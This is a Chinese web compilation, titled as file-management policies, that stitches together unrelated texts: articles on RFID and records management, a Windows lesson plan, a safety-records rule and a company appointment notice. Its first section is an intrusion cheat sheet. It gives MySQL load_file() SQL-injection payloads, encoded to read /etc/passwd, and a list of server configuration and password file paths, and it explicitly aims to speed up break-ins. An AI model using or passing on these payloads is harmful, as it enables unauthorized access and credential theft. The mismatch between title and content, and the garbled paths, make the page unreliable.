信息安全文件管理制度

2024-11-30

信息安全文件管理制度（共15篇）

1.信息安全文件管理制度篇一

以下是大家针对MYSQL数据注入时用到的 load_file()函数对其文件查看的相关路径,合理的利用好,可以加快你的入侵速度.以下是本人入侵时收集起来.如果大家感觉这上面没有的路径.请继续在回复中接起来.一起分享.BY:孤狐浪子

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件

5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:APACHEApache2confhttpd.conf

9、C:Program Filesmysqlmy.ini

10、../themes/darkblue_orange/layout.inc.phpphpmyadmin 爆路径

11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 usr/local/app/php5 b/php.iniPHP 的相当设置

17 、/etc/my.cnfMYSQL的配置文件

18、 /etc/redhat-release红帽子的系统版本

19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置

23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini

24、c:windowsmy.ini

2.信息安全文件管理制度篇二

关键词：文件管理,RFID,信息系统,计算机

0 引言

文件管理人员总是希望在需要调阅、清点某文件时, 能快速的查找到它, 但在文件管理部门, 管理人员经常为此花费大量的时间、精力。这种费时、费力的管理方式, 严重依赖定岗人员的主动性和自觉性, 在管理过程的运行中容易存在管理漏洞。在信息化的大背景下, 探索信息化手段是解决问题的关键, RFID技术的引入将能有效提高文件管理活动的效益。

1 传统文件管理的现状与问题

随着文件数量逐日增多, 种类日趋多样化, 信息量迅速膨胀, 传统文件管理手段与技术所导致的问题日益突显。

一是文件整理流程繁琐低效、整理时间冗长;二是文件存放次序较易被打乱, 文件查阅耗时长;三是文件的盘点操作不科学, 对失效文件的管理滞后。鉴于这种现状, 文件管理的技术升级与改造迫在眉睫。作为新一代物品跟踪与信息识别的RFID (无线射频识别技术) 技术的快速发展给文件管理的自动化、智能化带来了可能性, 具有其他方式无可比拟的优越性。

2 基于RFID技术的文件管理信息系统的特点和优势

2.1 RFID技术概述

RFID是Radio Frequency Identification的缩写, 即射频识别技术, 俗称电子标签。RFID通过射频信号自动识别目标对象, 并对其信息进行标志、登记、存储和管理。识别工作无需人工干预, 可工作与各种环境。典型的RFID识别系统通常由三部分组成, 分别是电子标签 (Tag) 、读写器 (Reader) 和后台数据服务系统 (Database) 。

2.2 基于RFID技术的文件管理信息系统的优点

非接触式数据采集技术, 极大地增强了管理人员对存储物品的信息收集、交换与跟踪能力。管理人员无需打开文件盒, 只需将粘有RFID标签的文件盒在阅读器前经过, 就可以在电脑屏幕上显示出盒内文件的具体名目、数量、文件摘要等信息, 缩减了管理人员的作业环节, 提高了作业效率, 从而有助于管理人员实施库存文件的动态化管理。

1) 扫描快速, 且一次性数据处理量大;

2) 标签信息容量大, 使用寿命长, 可重复使用;

3) 安全性高;

4) 体积小型化、形状多样化;

5) 穿透性和无屏障阅读;

6) 具有出入控制功能。

3 应用RFID技术设计文件管理信息系统的一般方法

应用RFID技术实现文件管理, 就是要建立一套基于RFID技术的文件管理信息系统, 通过RFID这项新技术实现远程、动态、实时的文件信息数据采集, 替换传统文件管理方式的人工数据采集, 通过与后台计算机数据库结合, 实现对文件整个生命周期的管理。

3.1 系统的一般功能

将RFID标签和文件建立起一一对应的捆绑关系后, 一个具备文件登记、自动盘存及定位、自动引导、自动识别、自动追踪、复印和销毁控制、快速查询及报警、盘点统计等功能的文件管理信息系统就建立起来了, 一般而言, 该类系统具备的功能如下:

1) 文件登记:每一个新的文件在整理时黏贴一个RFID标签, 通过标签与系统中相应文件信息的绑定, 即可实现扫描到一个文件标签时, 系统会自动搜索出该文件所有的相关信息。

2) 自动盘存及定位:每个文件柜可安装1个读写器天线, 利用读写器逐个扫描, 可实时读取文件柜内所有标签, 确定文件是否存在;

3) 自动引导:当需要借阅文件时, 一旦得到批准, 借阅者只要手持便携式读卡器, 即可按照指示在最短的时间定位所需要的文件;

4) 自动追踪:夹带在文件夹、公文包的文件材料, 经过出入口时系统会自动发现, 对于发现的文件资料, 系统自动判断是否报警;文件材料离开文件室或保密室, 对于允许携带的文件资料, 系统不发出报警通知, 只存储通行记录, 以备历史追朔, 对于未经允许的文件资料, 系统发出报警或通知。

5) 快速巡查及报警:文件管理人员、领用人员、借用人员均与系统绑定, 异常发生后, 系统可进行快速巡检并发出报警信号, 提示文件资料是否移动、是否损坏及相应信息, 生成相关人员及物品通行记录。

6) 流程管理:唯一的标签识别号, 可以严格管控文件的借阅及归还、流转等流程, 确保文件状态实时自动登记。RFID与工作流程管理的整合, 能将文件签核、调阅、销毁等与文件实体紧密结合, 达到全寿命的文件管理。

7) 盘点统计功能:通过后台信息系统, 随时可以进行文件盘点统计, 查看具体某个时间段的文件外借情况, 某份文件使用情况等。

3.2 系统的组成

基于RFID技术的文件管理信息系统主要由硬件系统和软件系统组成。

3.2.1 硬件系统

文件管理信息系统的硬件系统应包括:文件管理单元、门禁系统、文件标签、数据中心计算机四部分。

1) 文件管理单元:具有RFID读写功能的文件存放装置, 可以是文件柜或文件抽屉单。文件管理单元上安装着文件柜装有多接收发射的RFID读写器, 在一定事件 (如关门、读卡或按某一按钮) 的触发下, 将对整个柜子内附着于文件及文件夹上的RFID标签进行读取, 以检测文件的增减, 并将该信息传送到软件系统显示出来以供确认;

2) 门禁系统:门禁系统具有RFID监控模块, 该模块包括一个RFID读写器, 一个RFID天线和一个LED指示灯或报警器。该门禁系统对借阅者随身携带出去的文件会自动读取标签, 判断是否通过正规借阅手续, 对于履行手续的文件资料, 系统不发出报警通知, 只存储通行记录, 以备历史追朔, 对于未经允许的文件资料发出报警;

3) 文件标签:文件标签有两种形式:一种是附着于一份文件、书籍或资料上;另一种是粘贴到已归类的文件盒上;

4) 数据中心计算机

整个RFID硬件部分最终汇集连接到数据中心计算机, 并由运行其上的软件系统对数据进行处理, 实现文件资料的高效、安全管理。

3.2.2 软件系统

文件管理信息系统的软件系统具体包括:应用管理软件和中间件。应用管理软件是进行查询、统计、数据库管理、系统设置等操作的管理平台。中间件主要实现硬件与应用管理软件间的数据传递, 具体表现为存储数据到date base通道的各模块、实现单元控制的各项指令、文件借阅、带出、复印的各项流程

4 结论

引入RFID技术实现文件管理的智能化, 是文件管理手段的技术创新, 基于RFID技术的文件管理信息系统能有效改善文件管理流程、效率、安全, 大幅缩短管理人员的公文、文件流程时间, 并减低作业流程中可能产生的问题。

参考文献

[1]杜晓宇.美国国家电子文件档案馆建设的功能需求研究及其启示[J].档案, 2006 (6) .

[2]白润连.档案管理信息化建设浅析[J].科技情报开发与经济, 2009 (28) .

3.信息安全文件管理制度篇三

关键词：文件管理信息资源管理关系研究文献计量

一、研究背景

作为图书情报档案领域的两个研究方向，文件管理与信息资源管理从产生起就有着千丝万缕的联系。“信息资源管理”的概念最早出现在1979年出版的《信息资源管理：概念与案例》一书，由美国学者霍顿提出。1980年美国国会制定的《文书削减法》被认为是第一部关于政府信息资源管理的政策工具，文件管理也被公认为是现代信息资源管理的起源①，但现有文献尚未对两者的关系进行进一步的讨论。本文旨在厘清两者的关系，填补该方面文献研究的空白。

选用中国学术期刊网（CNKI）全文数据库，采用“文件管理”和“信息资源管理”题名检索1980-2010年间的文献，剔除不相关文献后共得到与文件管理相关的文献1206篇，与信息资源管理相关的文献1082篇。分别应用文献计量学研究软件Bibexcel与可视化分析软件Netdraw对相关文献的关键词进行词频统计与可视化共现分析②；从研究趋势、研究对象、研究背景三方面对文件管理与信息资源管理之间的关系进行了梳理。

二、研究结果分析及讨论

1.基于研究趋势的关系分析

如表1和表2所示，文件管理与信息资源管理所关注的研究热点均经历了从传统到现代的转变，且在这一过程中，两者关注的研究热点出现了交叉。文件管理最初主要关注的热点是纸质文件的归档流程，而信息资源管理最初关注的则是期刊信息资源的有效利用。从2000年起，随着计算机与因特网在国内的不断普及，文件管理与信息资源管理的研究热点与计算机和网络的联系越来越紧密，两者之间的相互渗透关系越来越强。随着时间的推进，电子政务与信息化建设成为两者共同关注的热点视角，同时，元数据等研究对象及各种信息技术、信息系统等技术手段与管理模式等议题成为两者共同关注的话题。

2.基于研究对象的关系分析

从关注的管理层次和范围看，文件管理主要关注信息在组织内部的流转过程及相关的管理标准；信息资源管理主要关注信息在整个社会的传播及利用，其关注的范围不局限于组织机构内部，还包括组织与整个社会之间的信息交换及有效利用，前者较为微观，后者相对宏观。

从关注的物理对象看，文件管理的对象是直接来源于业务活动的证据性信息，较为狭窄，而信息资源管理的对象则为存在于政府、网络、企业等各种环境、在不同的业务活动中产生的各种信息，较为宽泛。

从关注的管理对象看，两者各有侧重。信息资源管理的研究偏重管理模式、信息系统和信息技术议题，文件管理偏重管理制度、前端管理、管理流程、文件管理系统、文件格式等议题。

3.基于研究背景的关系分析

(1)政府背景下的关系分析

从2001年到2004年，信息资源管理与文件管理的研究中相继开始出现与政府有关的关键词。2000年，信息资源管理领域的研究中首先关注了政府信息这一关键词，随后，在2002年，文件管理的研究中也开始出现电子政府的概念。到2004年，两者对于政府的研究基本围绕着“电子政务”这一关键词展开。在此后的年度统计中，表征电子政务方向的关键词词频随着时间推移在两个领域均迅速上升，说明电子政务已经成为文件管理与信息资源管理共同关注的热点。

图1与图2揭示，政府背景下文件管理与信息资源管理的研究均共同关注政府信息化的问题。文件管理领域对政府信息化的研究集中在由传统文件管理到电子文件管理这一转化过程及其所面临的问题，其研究范围局限于政府内部；而信息资源管理领域对政府信息化的研究不仅关注如何让政府有效利用信息资源，亦致力于让民众能够更方便地获取政府拥有的可以公开的各种信息资源③，关注政府与整个社会之间的互动，由此也衍生出公共部门的信息资源管理等新的关注热点。同时，文件管理与信息资源管理都关注了电子政务的实现手段。文件管理在该方面主要研究的是具体的管理手段和管理方法的应用，同时也关注细节；而信息资源管理的研究则更加注重管理技术与管理手段的并重：在技术手段上，关注对信息资源进行进一步整合与挖掘的技术；在管理手段上，关注电子政务发展模式的研究，相较于文件管理的研究更为宏观。

由此，两个领域在政府视角下的研究中可展开多方面的合作。信息资源管理的研究可以通过比较分析得出电子政务发展的宏观模式，而文件管理的研究则可以在该模式的指导下，重新梳理文件信息流转流程，进行技术与管理手段的创新。同时，文件管理的研究重点关注政府内部的信息流动，而信息资源管理则更关注政府同公众间信息的交流与互动，文件管理研究的文件流转流程中所产生的各种信息，在信息资源管理中即被视为资源投入到政府的各项业务流程之中。在实际应用中，两者可以共同关注政府部门中文件流转流程与业务流程的进一步整合，从而打造更高效、更公开的政府。

(2)企业背景下的关系分析

图4揭示出，企业背景下文件管理的研究，主要关注的是企业的电子文件归档管理与标准化问题，重点研究信息在企业内部的流动，目标是保证文件信息的真实性和可靠性。图3揭示企业背景下信息资源管理的研究，其主要关注企业与整个社会环境下信息资源的可及性、传播效率、利用效率等问题，重点研究信息在整个社会环境中与企业的交互与利用，目标是提高信息资源所能带来的经济效用。

从研究对象上看，企业背景下文件管理研究的对象和范围始终围绕的是文件管理本身和文件流转的全过程；而企业背景下信息资源管理研究的对象和范围则趋于多样化：不仅涉及电子商务还涉及知识管理。

由此，两个领域在以企业为主题的研究中亦可相互合作。在企业信息化进程中，文件管理可重点解决企业内部的信息质量保证、信息捕获增值与保值问题，而信息资源管理则重点研究企业与整个社会的信息交换、有效使用和增值问题。

三、研究结论

总体来看，文件管理与信息资源管理的研究对象在時间维度上具有相互渗透的趋势，文件管理研究所关注的对象较为微观，信息资源管理所关注的对象则相对宏观。此外，在政府和企业背景下的研究中，文件管理与信息资源管理所关注的方向具有互补性，两者可以有效地分工合作，共同推进政府和企业的信息化进程。

注释：

*本文系中国人民大学科学研究基金（中央高校基本科研业务费专项资金资助）项目《知识工程背景下信息资源管理术语构建方法研究》（项目代号：10XNJ052）和2008年度“新世纪优秀人才支持计划”的研究成果。

①马费成, 李纲, 查先进. 信息资源管理[M]. 武汉: 武汉大学出版社, 2000.

②姜春林, 陈玉光. CSSCI数据导入Bibexcel实现共现矩阵的方法及实证研究[J]. 图书馆杂志, 2010(4):58-63.

③赖茂生. 信息资源管理教程[M]. 北京: 清华大学出版社, 2007.

4.文件管理(信息技术面试教案) 篇四

一、教材分析

1、教材特点与地位：

本节是初一教材第二章第五节的文件管理，对文件的组织管理是Windows操作系统的基本功能之一。Windows操作系统提供了“资源管理器”和“我的电脑”组织和管理文件和资源，利用它们可以显示文件夹的结构和文件的详细信息，打开文件，查找文件，复制文件等。本节将以“资源管理器”为主，介绍文件管理中的操作方法。

2、教学目的：（1）、知识目标

1、文件或文件夹

2、文件的管理和操作方法（2）、能力目标

了解windows文件的组织方式；掌握windows文件的基本操作，包括文件或文件夹的创建、重命名、复制、移动、删除，搜索文件等操作。用“我的电脑”和“资源管理”。（3）、情感态度价值观目标

通过这一节学生们可以掌握Windows操作系统的基本功能之一的文件管理。

3、教学重点：文件或文件夹文件的基本操作

4、教学难点：管理文件或文件夹

5、教具准备：

PPT 课件、多媒体教室。

二、说教法和学法用亲手操作法

三、教学过程

（一）导入新课：

我们一般打开计算机的我的电脑中某一盘看到各种各类的东西，这就是文件和文件夹。我们在操作计算机的过程中经常遇到怎么样管理文件和文件夹的问题。要学习文件或文件夹的管理首先要理解文件和文件夹的概念，命名方式等各类操作。

（二）、讲解新课：

一、文件和文件夹。

1、文件和文件夹的概念

文件是存储在外部介质上的信息集合。在PC机上，文件一般保存在磁盘上，称为磁盘文件。文件名是存取文件的依据，即“按名存取”。

文件夹是用于存放文件和其他子文件夹的区域，是一个逻辑载体。

2、文件名和文件夹名

为了识别与组织管理文件，必须对文件命名。文件名有主文件名和扩展名组成的。中间用符号“ · ”分隔。文件名格式为：

（主文件名）.[(扩展名)] 例如：

AAA.doc,BBB.exe,CCC.xls,课件.ppt 文件名是必须有的，而扩展名是可选的。Windows 对文件的命名约定如下：

1)支持长文件名，文件全名最多可以使用255个字符（包括空格）。

2)可以使用汉字，西文字符，数字和部分符号，但不能出现以下西文字符：

”

| 3)文件名可以使用英文大小写字母，但不能利用大小写进行文件的区别。例如：

complit.dat 和 COMPLIT.DAT 表示同一个文件。4)文件扩展名可以有也可以没有。

文件夹的命名与文件的命名相同，但文件夹一般没有扩展名。在文件名和文件夹名的使用中有如下规定：一个文件夹中不允许有两个同名的文件夹或文件，但在不同的文件夹中允许有同名文件或文件夹。

3、文件的位置（路径）

当需要操作某一个文件或文件夹时，首先应给出文件或文件夹的位置。例如：D:/AAA/DDD/CCC.DOC表示CCC.DOC文件的位置，这种形式也叫文件的路径，它包含了要找到指定文件所顺序经过的全部文件夹，其中用“/”来分隔各级文件夹。

二、“我的电脑”和“资源管理器”

1、“我的电脑”

“我的电脑”是Windows 的一个系统文件夹。Windows 通过“我的电脑”提供一种快速访问计算机资源的路径。（打开“我的电脑”窗口介绍）

2、“资源管理器”

资源管理器的启动方法（打开“资源管理器”窗口介绍）

三、管理文件或文件夹

1、选定文件或文件夹

对文件或文件夹进行移动，复制或删除等操作前，必须先选定操作对象。一次可以选定一个或多个文件或文件夹。Ctrl +A(全部选取)，shift(连续选取)，Ctrl(不连续选取)

2、撒销选定

撒销一项选定，则先按住Ctrl 键，然后单击要取消的项目；撒销多项选定，则先按住Ctrl 键，然后分别单击要取消的项目；撒销所有选定，则单击未选定的任何区域。

3、创建文件或文件夹

利用应用程序的“文件”菜单中的“新建”命令创建文件。鼠标右击单击来创建文件夹。

4、重命名文件或文件夹先选定要更名的文件或文件夹，然后鼠标右键选择下拉菜单“重命名”命名。

5、复制文件或文件夹

复制文件或文件夹是指将原位置处的对象复制一份存到目的位置。最常用的是快捷

Ctrl + C(复制)，Ctrl +V(粘贴)

6、删除文件或文件夹

对于没有使用价值的文件或文件夹，应当及时删除，一节省硬盘空间。删除操作需要用到“回收站”。“回收站”是硬盘中的一个系统文件夹，硬盘上被删除的对象将临时保存在这里。

先选定，然后用键盘 “Delete” 键或“Del”键。先选定，然后用鼠标单击右键选择“删除”命令。先选定，然后用“文件”菜单中的“删除”命令。直接删除的方法：先选定，然后 Shit +Delete。

四、搜索文件或文件夹

当系统的文件或文件夹较多，层次较多的情况下，通过浏览查看文件的查找显得很费时。所以Windows 提供了搜索文件或文件夹的功能。

打开方式是：单击“开始”菜单“搜索”命令；每一个文件夹中都有“搜索”这个命令。打开以后单击“所有文件或文件夹”超级链接，然后要搜索的文件名或扩展名例如：

要搜索所有Word文件：“*.doc”；如果只知道文件名不知道扩展名的时候：“xxx”。

五、查看或修改文件或文件夹的属性

文件或文件夹的属性是指文件或文件夹所具有的性质，特征和设置。每个文件和文件夹，包括磁盘都有自己的属性。属性信息包括文件或文件夹的名称，大小，位置，创建日期，只读，隐藏等属性。根据用户需要，可以设置或修改文件或文件夹的属性。

四、课后小结

本节主要介绍怎么样管理文件和文件夹，管理文件和文件夹Windows操作系统的基本功能之一，也是本章的重点。本节学生们可以学习怎样选定，复制，移动，不用的删除，查找文件或文件夹操作。

五、课后作业

（1）写出复制，粘贴，删除和直接删除的快捷键。

（2）想查找一个文件，文件名中第3~~7个字符为“table”，其扩建名不知道，存放在哪一个磁盘上也不知道。如何查找它？

5.安全生产文件档案管理制度篇五

一、目的及适用范围

为了规范安全生产文件档案的管理，确保文件档案的完整性、合理性、科学性，使其为公司安全生产管理充分发挥档案文献的参考作用，特制定本制度。本制度适用于公司与安全生产有关的文件档案的管理。

二、名词：

安全生产档案，是指公司从事安全生产活动直接形成的对公司有保存价值的各种文字、图表、声像等不同形式的历史记录文件。

三、管理职责

3.1 总务部负责制定本制度，并负责综合监督管理。同时负责公司的安全生产档案日常管理工作。

3.2 各部门负责本部门文件档案的管理，并负责监督检查和考核。各部门安全员负责本部门文件档案的收集、归档和保管。

3.3 档案管理人员工作变动或因故离职时应将经办的文件材料向接办人员交接清楚，不得擅自带走或销毁。

四、安全生产档案范围括：

4.1国家有关安全生产法律法规、标准规范。上级主管部门安全生产文件、批复、会议资料等。

4.2公司安全组织机构情况，公司安全生产委员会或安全生产领导小组人员名单及变动记录，以及专、兼职安全员名单；

4.3 公司安全生产标准化体系各类文件。公司安全生产文件、安全培训学习资料、安全生产工作计划、总结、报告等。

4.4 特种设备作业人员操作资格证件及人员名单；

4.5 特种设备、设施清单及有关《安全检测校验报告》等档案资料； 4.6 危险源（点）资料及三级危险源（点）管理清单；

4.7 作业环境监测资料（粉尘浓度监测、环境监测、噪声测定等）以及安全、职业卫生评价报告；

4.8 职工健康检查档案及健康监护资料；职业病例档案及监护资料； 4.9 安全生产检查记录及事故隐患排查整改情况； 4.10 安全例会会议记录材料及安全月活动记录。4.11 职工关于安全生产的改善提案及整改落实情况；

4.12 安全生产事故记录和统计分析资料；职工伤亡事故报告等有关档案资料；

4.13 安全生产管理制度、岗位安全操作规程、作业安全规程； 4.14 安全措施费用的提取和使用情况； 4.15安全教育培训记录；

4.16 事故应急救援预案，事故应急救援演练及实施记录； 4.17 与供应商签订的《相关方安全管理协议》

五、档案保管 5.1档案分类

5.1.1安全生产档案要编写详细的目录并分档存放，以便于查阅。实现安全档案的标准化、规范化、现代化管理。

5.1.2各种文件资料按一定特征进行排列和系统化，应层次分明，编写页码，填写卷内文件资料目录。5.2档案保管

5.2.1归档的文件材料种数、份数以及每份文件的页数均应齐全完整。

5.2.2档案应入柜上架，科学排列，避免暴露和捆扎堆放。同时应采取防潮、防虫措施，防止档案损坏。

5.3档案借阅

5.3.1安全生产档案只供公司内部人员借阅，借阅者要履行借阅手续，报主管领导批准后，方可借阅。

5.3.2借阅者对档案内容必须严格保密，未经许可不准泄露档案材料内容。

5.3.3借阅档案要注意保护，不得丢失、损坏、涂改。用毕要按时归还，归还档案时，由档案管理人员当面查点清楚，并在借阅登记本上注销。如需延长借阅时间，必须另行办理续借手续。如发现遗失必须及时汇报，追究责任。5.4档案销毁

对于过期并失去保存价值的文件资料，经部门领导批准，可以定期销毁，必要时做好销毁记录。

六、附则

6.文件安全管理人员通知篇六

宏矿发（2011）5号

綦江县宏盛矿业有限公司关于任命领导班子成员和

安全管理人员的通知

各班组：

经研究决定，现将我单位的领导班子成员和安全管理人员任命如下：

赵樟友同志为经理，负责公司的全面工作。

童里兵同志为副矿长，负责公司矿山的生产安全工作。曹旭升同志为经理助理，负责矿山的日常管理工作。

寿飚同志任安全管理科科长,负责公司矿山的安全管理工作。何明朗同志任专职安全员，负责矿山现场安全管理工作。刘志宏同志任财务科科长，负责公司的财务工作。

邵燕明同志任装运科科长，负责矿山的运输管理工作。

特此通知：

綦江县宏盛矿业有限公司

7.信息安全文件管理制度篇七

1 信息文件管理在项目监理工作中的重要性

在项目监理工作中,信息管理工作很重要已是大多数监理公司管理者或总监理工程师的共识。要理解信息文件管理在项目监理工作中的重要性,必须从工程建设监理的本意出发。

在我国目前的监理实践中,监理分为设计监理、施工监理及工程咨询,本文所论的监理特指施工监理。

建设工程监理是指受业主方委托,依据国家的法律、法规、部门规章、行业规范、监理委托合同进行的工程监督、管理活动,包括质量控制、进度控制、投资控制、安全管理、合同管理、信息管理及工程协调,简称“三控三管一协调”。

在建设工程监理过程中,监理人有法定职责和义务,例如,工程监理单位不按照委托监理合同的约定履行监理义务,对应当监督检查的项目不检查或者不按照规定检查,给建设单位造成损失的,应当承担相应的赔偿责任。工程监理单位与承包单位串通,为承包单位谋取非法利益,给建设单位造成损失的,应当与承包单位承担连带赔偿责任;有监理委托合同约定的义务,如监理人不得参与监理合同规定相违背的任何活动。除发包人同意外,监理人及其人员不应接受监理合同约定以外的与监理工程项目及监理服务有关的报酬。

那么,项目监理部的工作成果如何反映,如何知道监理单位在项目监理过程中是否履行了法定及合同义务?

信息文件管理是对监理工作成果的管理。监理工作是一种服务工作,它贯穿于工程建设全过程,是工程建设的一部分。监理工作隐含于工程实体,是不可量化的,监理工作的成果必须用监理过程中形成的文件或记录来反映。如果没有保存好监理记录,就相当于丢失了相应的监理工作成果,可见,信息文件管理是对监理工作成果的管理。

信息文件管理是证据管理。如上所述,监理工作的成果都反映在工程监理过程形成的文件或记录中,监理单位是否履行了法定和合同义务,需要用文件或记录来证明,从这个意义上讲,信息文件管理是证据管理。

对监理单位而言,成果和证据既表明了工作成绩,又证明监理单位履行了合同义务。2009年6月,上海发生了“楼倒倒事件”,当时项目总监理工程师曾向媒体披露,他们在事故发生前一段时间已口头告诉业主方在楼房一侧大量堆土可能导致安全事故的发生,但事故发生后监理方又没有书面记录证明自己已履行告知义务,导致该项目的监理单位被降资质,总监理工程师被判刑。这是一个不重视项目监理部信息文件管理的典型案例。当然,项目监理部信息文件管理不仅起到记录监理成果和证据的作用。

2 项目监理部信息文件管理的作用

监理信息文件管理就是监理信息文件的收集、整理、处理、存储、传递与应用等一系列工作的总称,其作用可归纳为以下4个关键词。

2.1 记录

记录是指工程信息文件可用来记录工程项目监理工作开展的全过程。例如,监理规划、各专业监理实施细则、重要单项工程监理实施细则、旁站记录、隐蔽工程验收记录、专题会议纪要、监理月报、监理工程师通知单、备忘录、工程质量评估报告等。

2.2 证明

证明是用记录来证明监理工作满足法律、法规、行业规范、工程建设监理委托合同以及监理公司企业标准的要求,证明监理行为的合法性。这里提到满足监理公司企业标准是因为项目监理部是监理公司派驻项目所在地,代表监理公司履行监理委托合同义务的派出机构,所以项目监理部监理活动应满足监理公司的企业标准。项目监理部的监理活动要满足3个方面的要求,即国家的法律法规、监理委托合同、监理企业标准。

2.3 支持

支持指信息管理工作是为了保障工程项目建设过程中信息传递的顺畅、及时,为建设项目有关的决策者提供决策依据,为执行者提供信息,为工程建设有序开展提供信息支持。例如,在开工前对承包单位资质、主要管理人员资格的审核;工程控制网测量复测审核、设计变更单、工程联系单等。

2.4 归档

归档指收集、整理满足国家、建设单位档案要求的监理文件。归档是为今后形成建设单位的档案服务,也是档案管理中的“三纳入”“四参加”“四同步”。“三纳入”就是要将项目文件材料的形成、积累、整理和归档纳入项目建设的各项程序,纳入项目建设管理计划,纳入有关部门和有关人员的职责范围;“四参加”就是要求档案人员应参加与工程管理相关会议及质量检查,参加重要设备、仪器开箱,参加项目建设竣工验收,参加项目科研成果审定;“四同步”就是将下达工程计划任务与提出项目文件归档要求要同步,检查项目计划进度与检查项目文件积累情况要同步,工程验收与档案验收要同步,项目总结与归档的文件交接要同步。

3 信息文件管理的工作内容及要求

监理信息文件伴随着建设监理活动而产生,它注重对监理文件过程的管理。拓展和强化监理信息文件管理工作对于发挥信息文件的综合效益和功能,更好地为基础建设服务具有积极意义和作用。监理信息文件管理是一项综合性、技术性较强的工作,不仅需要监理单位在机构建设、人员配备和制度建设上加大管理力度,更需要项目监理部的总监理工程师、各专业监理工程师和监理员等监理人员自觉遵守建设工程监理档案的管理原则,在履行各自监理职责的同时,树立意识,规范档案管理,从而提高项目档案管理水平。监理信息文件是监理单位实施工程监理的真实写照,也是监督承包商按建设施工合同要求控制施工质量、投资、进度的实际记录,是建设项目档案的组成部分。

项目监理部信息文件管理的主要内容包括:①工程项目信息文件的传递途径策划与确认。②信息文件种类及标准格式的规划及修改规则。③信息文件的收发与登记。④信息文件的传阅。⑤信息文件的分类存放。⑥信息文件借阅及检索服务。⑦信息文件归档。

在信息文件管理的主要内容中,工程项目信息文件传递途径策划与确认、信息文件的种类及标准格式的规划及修改规则是所有信息文件管理的中心工作,是信息文件管理工作能否起到应有作用的关键,也是项目监理部信息文件管理有别于其行业信息管理的地方。

项目监理部信息文件管理的基本要求是齐全、规范、真实、分类有序。

4 项目监理部信息文件管理方法

监理信息文件管理的原则应坚持事前介入、事中控制、事后严把质量关。

4.1 事前介入

在工程项目开工之初,项目监理部有关人员应了解建设单位对信息文件管理的特殊要求或者管理特点,如文件的审批程序、档案的特别要求等,然后编制信息文件管理细则报建设单位批准,再组织参建单位有关人员(信息管理人员、项目总工程师或其他项目主管人员)进行信息文件管理细则交底、讨论,必要时应征得建设单位有关人员同意后对细则进行局部修改。同时,要求工程参建各方按信息文件管理细则的要求编制文件。

4.2 事中控制

在日常工作中,项目监理部信息文件管理人员对参建方形成并传递的文件进行规范性及符合性检查,发现问题及时整改;定期或不定期组织对工程参建各方信息文件的完整性、规范性进行检查,发现问题及时整改,防止规范文件大量积累,避免在工程竣工阶段验收时,档案大量返工;项目监理部信息文件人员应参加工程建设过程中的阶段性质量监督检查活动,听取专家的意见,即时纠正信息文件管理中的偏差。

4.3 事后严把质量关

在实体工程结束时,项目监理部一方面将在监理过程形成的监理文件(如监理工程师通知单)按照建设单位的归档文件整理规则进行整理组卷;另一方面对施工单位形成工程施工和安装文件(如隐蔽工程验收记录)进行质量检查把关,合格后签署同意移交的监理意见。项目监理部应对承包单位报送的工程文件按照单位工程进行逐项审核,各专业监理工程师负责审查与工程技术有关的内容;信息文件管理员负责从档案角度对项目移交文件进行审查。

5 信息文件的应用

收集到的资料、数据要经过鉴别、分析、汇总、归类,作出推测、判断、演绎,这是一个逻辑判断推理的过程,可借助于电子计算机进行。

有价值的原始资料、数据及经过加工整理的信息,要长期积累,以备查阅。当前,建立监理信息的编码系统、采用电子计算机数据库或其他微缩系统,可以提高数据处理的效率,节省存储时间和空间。

信息文件的应用是文件管理的一道关键程序,文件登记台账的内容应注意是否具有可追溯性。例如,在进行“主要施工计量器具台账”“特种作业人员台账”登记时,内容应明确此计量器具的“受检日期”和“检定有效期”,如果没有这2项内容记录,此台账将失去追溯意义。不同类型的文件存在相互对照或追溯关系时,在分类存放的情况下,记录台账上应明确相应的信息,例如在“图纸接收台账”登记时,记录表格内容中应明确“图纸会检”“设计变更”等相关信息。

Microsoft Excel软件拥有强大筛选、排序、导入、数据分析、公式运用等功能。运用Microsoft Excel建立统计台账时,输入台账的单元格不应过于简单,这样不利于查阅和利用。另外,可以根据实际情况将文件分为业主提供的文件、承包商提供的文件、监理文件三大类,进行实物文件存放。

摘要：文章从工程监理的角度论述了项目监理部信息文件管理的重要性,分析了开展项目监理部信息文件管理工作的方法。

关键词：工程,信息文件,管理,作用,实践

参考文献

[1]GB 50319—2000,建设工程监理规范[S].

8.信息安全文件管理制度篇八

关键词：企业信息化；MSOA；标准化；信息系统

1 概述

当今的时代是信息化时代，而且是信息化飞速发展的时代。在这样一个充满机遇和挑战的环境中，企业信息化的发展及作用也受到越来越多的关注。那么，什么是企业信息化呢？

企业信息化实质上是以增强企业的核心竞争力为目的，将企业的生产过程、物料移动、事务处理、现金流动、客户交互等业务过程数字化、一体化、网络化和智能化，通过各种信息系统处理传递数据及工作，使企业资源合理配置，求得最大的经济效益。企业信息化是指企业以业务流程的优化和重构为基础，在一定的深度和广度上利用各信息系统，控制和集成化管理企业生产经营活动中的各种信息，以提高企业的经济效益和市场竞争力。

